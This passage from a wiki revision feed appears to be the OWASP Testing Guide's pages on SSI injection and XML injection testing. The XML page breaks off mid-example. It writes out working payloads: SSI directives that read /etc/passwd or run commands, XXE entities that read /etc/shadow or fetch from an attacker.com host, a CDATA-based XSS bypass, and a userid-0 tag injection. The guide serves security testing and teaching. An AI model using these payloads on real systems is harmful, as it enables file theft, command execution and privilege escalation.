Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI program or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables and to execute external CGI scripts or system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Putting an SSI directive into a static html document is as easy as writing a piece of code like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#echo var=&amp;quot;DATE_LOCAL&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to print out the current time.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/cgi-bin/counter.pl&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a CGI script.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/footer.html&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the content of a file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a system command.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, if the web server's SSI support is enabled, the server will parse these directives, both in the body or inside the headers. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that's going to make the application or the web server itself behave in an unforseen manner. Talking about SSI injection, the attacker could be able to provide an input that, if inserted by the application (or maybe directly by te server) into a dynamically generated page would be parsed as SSI directives.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We are talking about an issue very similar to a classical scripting language injection problem; maybe less dangerous, as the SSI directive are not comparable to a real scripting language and because the web server needs to be configured to allow SSI; but also simpler to exploit, as SSI directives easy to understand and powerful enough to output the content of files and to execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing ==&lt;br /&gt;
&lt;br /&gt;
The first thing to do when testing in a Black Box fashion is finding if the web server actually support SSI directives. The answer is almost certainly a yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whether we succeded or not in discovering this piece of information, we could guess if SSI are supported just looking at the content of the target web site we are testing: if it makes use of '''''.shtml''''' file then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let's go to the next step, which is needed not only to find out if an SSI injection attack is really plausible, but also to identify the input points we can use to inject our malicious code.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this step the testing activity is exactly the same needed to test for other code injection vulnerabilities. We need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input or, otherwise, if we could provide data that is going to be displayed unmodified (as error message, forum post, etc.). Beside common user supplied data, input vectors that are always to be considered are HTTP request headers and cookies content, that can be easily forged.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where in the web site the data we provided are going to be displayed. We need to make sure that we are going to be able to make characters like that used in SSI directives:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
go through the application and be parsed by the server at some point.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Exploiting the lack of validation, is as easy as submitting, for example, a string like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/etc/passwd&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
in a input form, instead of the classical:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The directive would be then parsed by the server next time it needs to serve the given page, thus including the content of the Unix standard password file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.0&lt;br /&gt;
Referer: &amp;lt;!--#exec cmd=&amp;quot;/bin/ps ax&amp;quot;--&amp;gt;&lt;br /&gt;
User-Agent: &amp;lt;!--#virtual include=&amp;quot;/proc/version&amp;quot;--&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Being able to review the application source code we can quite easily find out:&amp;lt;br&amp;gt;&lt;br /&gt;
# If SSI directives are used; if they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate;&amp;lt;br&amp;gt;&lt;br /&gt;
# Where user input, cookie content and http headers are handled; the complete input vectors list is then quickly built;&amp;lt;br&amp;gt;&lt;br /&gt;
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many type of encoding are taken into account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* IIS: &amp;quot;Notes on Server-Side Includes (SSI) syntax&amp;quot; - http://support.microsoft.com/kb/203064&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache Tutorial: &amp;quot;Introduction to Server Side Includes&amp;quot; - http://httpd.apache.org/docs/1.3/howto/ssi.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Module mod_include&amp;quot; - http://httpd.apache.org/docs/1.3/mod/mod_include.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Security Tips for Server Configuration&amp;quot; - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi&amp;lt;br&amp;gt;&lt;br /&gt;
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Web Proxy Burp Suite - http://portswigger.net&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project&lt;br /&gt;
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36998</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36998"/>
				<updated>2008-08-23T06:40:15Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous application. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
